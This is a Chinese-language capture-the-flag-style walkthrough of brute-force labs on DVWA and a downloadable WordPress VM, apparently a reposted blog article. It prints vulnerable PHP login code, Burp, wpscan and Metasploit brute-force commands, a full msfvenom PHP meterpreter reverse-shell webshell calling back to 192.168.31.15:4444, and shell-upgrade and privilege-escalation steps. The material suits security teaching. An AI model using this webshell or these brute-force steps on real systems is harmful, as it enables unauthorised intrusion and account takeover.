WEB安全實戰（帶靶場）–暴力破解

靶場一：DVWA中的暴力破解

靶場二：靶場實驗 暴力破解

暴力破解百度云鏈接（失效請在評論區通知）
鏈接：https://pan.baidu.com/s/1FcNFC27VFBfQy0ZMnB_TAg
提取碼：1234

Brute Force（暴力破解）

Brute Force是指黑客利用密碼字典，使用窮舉法猜解出用戶口令，是現在最為廣泛使用的攻擊手法之一，如2014年轟動全國的12306“撞庫”事件，實質就是暴力破解攻擊，Web安全中的暴力破解也是利用嘗試所有的可能性最終獲取正確的結果。

靶場一：DVWA中的暴力破解

源碼解析

if( isset( $_GET[ 'Login' ] ) ) {# 獲取用戶名和密碼$user = $_GET[ 'username' ];$pass = $_GET[ 'password' ];$pass = md5( $pass );# 查詢驗證用戶名和密碼$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );if( $result && mysql_num_rows( $result ) == 1 ) {# 輸出頭像和用戶名$avatar = mysql_result( $result, 0, "avatar" );echo "<p>Welcome to the password protected area {$user}</p>";}else {登錄失敗}mysql_close(); }

Isset

檢測變量是否已聲明并且其值不為 null （https://www.php.net/manual/zh/function.isset.php） 若變量不存在則返回 FALSE 若變量存在且其值為NULL，也返回 FALSE 若變量存在且值不為NULL，則返回 TURE 同時檢查多個變量時，每個單項都符合上一條要求時才返回 TRUE，否則結果為 FALSE 如果已經使用 unset() 釋放了一個變量之后，它將不再是 isset()。 若使用 isset() 測試一個被設置成 NULL 的變量，將返回 FALSE。同時要注意的是一個 NULL 字節（"\0"）并不等同于 PHP 的 NULL 常數。

$_GET 和 $_POST

PHP 超全局變量 $_GET 和 $_POST 用于收集表單數據 $_GET 是通過 URL 參數傳遞到當前腳本的變量數組。 $_POST 是通過 HTTP POST 傳遞到當前腳本的變量數組。

mysql_query() 函數

執行一條 MySQL 查詢

mysql_error() 函數

返回上一個 MySQL 操作產生的文本錯誤信息。

mysql_num_rows() 函數

返回結果集中行的數目。

mysql_result()函數

返回結果集中一個字段的值，如果成功，則該函數返回字段值。如果失敗，則返回 false。

綜上所述：未做登錄驗證碼以及登錄次數限制，這是初級代碼，還存在sql注入。

漏洞利用

第一步：使用burpsuite抓包

第二步：ctrl+I將包復制到intruder模塊，因為要對username（為了節省時間這里直接用admin）和password參數進行爆破，所以在password參數的內容兩邊加$

第三步:選中Payloads，載入字典，點擊Start attack進行爆破
獲取到密碼為password

實驗一結束

靶場二：靶場實驗 暴力破解

實驗環境

攻擊機：kali
IP:192.168.31.15

靶場機器：暴力破解.ova(Ubuntu)
IP:192.168.31.86

信息探測

掃描主機服務信息以及服務版本

nmap -T4 -A -v 靶場IP地址

探測敏感信息

nikto -host http://靶場IP地址:端口

掃描網頁目錄(這里后期補充換了一下ip，不影響觀看)

dirb http://ip:端口

漏洞挖掘

打開WEB首頁

查看站點敏感目錄：/secret/

打開后臺登錄頁面

漏洞利用

Wordpress用戶名枚舉（需要聯網）

wpscan --url URL ----enumerate u

發現用戶名admin

利用Metasploit 進行密碼暴力破解

msfconsole

利用wordpress用戶枚舉模塊

msf6 > use auxiliary/scanner/http/wordpress_login_enum

#設置登陸名為admin msf6 auxiliary(scanner/http/wordpress_login_enum) > set username admin #設置目標ip msf6 auxiliary(scanner/http/wordpress_login_enum) > set rhosts 192.168.31.86 #設置目標目錄為/secret/ msf6 auxiliary(scanner/http/wordpress_login_enum) > set targeturi /secret/#設置字典文件路徑 msf6 auxiliary(scanner/http/wordpress_login_enum) > set pass_file /usr/share/wordlists/dirb/common.txt #開始攻擊 msf6 auxiliary(scanner/http/wordpress_login_enum) > run

發現密碼為admin

Tips：頁面登陸 如果發現登陸頁面跳轉失敗

修改host文件進行ip映射

順利打開：用戶名：admin 密碼：admin

登陸成功

漏洞提權

生成webshell（php木馬文件）

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.31.15 lport=4444 -f raw

源碼附上

<?php /**/ error_reporting(0); $ip = '192.168.31.15'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

運行404.php文件

http://192.168.31.86/secret/wp-content/themes/twentyseventeen/404.php

Msf反彈shell

下載用戶密碼以及影子文件進行破解


獲取到用戶名以及密碼：marlinspike (marlinspike)

shell提權（利用python模塊pty）

python -c "import pty;pty.spawn('/bin/bash')"

切換為marlinspike用戶

查看sudo權限

切換為root權限

獲取到flag值 實驗結束

總結

以上是生活随笔為你收集整理的WEB安全实战（带靶场）–暴力破解的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。